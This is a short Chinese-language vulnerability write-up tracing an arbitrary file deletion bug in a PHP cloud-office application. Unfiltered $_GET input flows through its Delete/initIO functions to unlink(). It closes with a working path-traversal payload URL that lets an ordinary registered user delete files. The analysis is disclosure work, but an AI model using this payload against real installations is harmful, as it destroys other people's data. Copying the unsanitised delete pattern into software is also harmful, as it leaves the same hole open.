PHP…

任意文件删除

漏洞出现在/dzz/system/dzzcp.php的237行

1
2
3
4
5
6
7
8
9
elseif($do=='deleteIco'){
$arr=array();
$names=array();
$i=0;
$icoids=$_GET['icoids'];
$bz=trim($_GET['bz']);
foreach($icoids as $icoid){

$return=IO::Delete($icoid);

可以看出这里有一个删除的函数,而删除变量的值是通过$_GET的方式提交
跟踪IO::Delete这个函数,在/core/class/dzz/dzz_io.php的244行

1
2
3
4
5
6
function Delete($path,$force=false){
if($io=self::initIO($path)) {
return $io->Delete($path,$force);
}
else return false;
}

发现它调用了自己的initIO函数,继续跟踪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function initIO($path){
$bzarr=explode(':',$path);
$allowbz=C::t('connect')->fetch_all_bz();//array('baiduPCS','ALIOSS','dzz','JSS');

if(strpos($path,'dzz::')!==false){
$classname= 'io_dzz';
}elseif(strpos($path,'attach::')!==false){
$classname= 'io_dzz';
}elseif(is_numeric($bzarr[0])){
$classname= 'io_dzz';
}elseif(in_array($bzarr[0],$allowbz)){
$classname= 'io_'.$bzarr[0];
}else{
return false;
}
return new $classname($path);
}

可以看出这里是一个判断类型,在丢到相应的类中的delete函数进行处理,选择’io_dzz’
查看/core/class/io/io_dzz.php中的delete函数

1
2
3
4
5
6
public function Delete($icoid,$force=false){
global $_G;
if(strpos($icoid,'dzz::')===0){
@unlink($_G['setting']['attachdir'].preg_replace('/^dzz::/i','',$icoid));
return true;
...

可以看出从传参开始到这里的删除文件,中间$icoid没有进过任何的过滤处理
这样就可以进行任意文件删除,这里的$_G['setting']['attachdir']是系统默认值/data/attachment,$_G的定义是在/core/class/dzz/dzz_app.php

注册一个普通的用户
payload:

1
index.php?mod=system&op=dzzcp&do=deleteIco&icoids[]=dzz::./../test.txt

执行前:


执行后:

(ง •_•)ง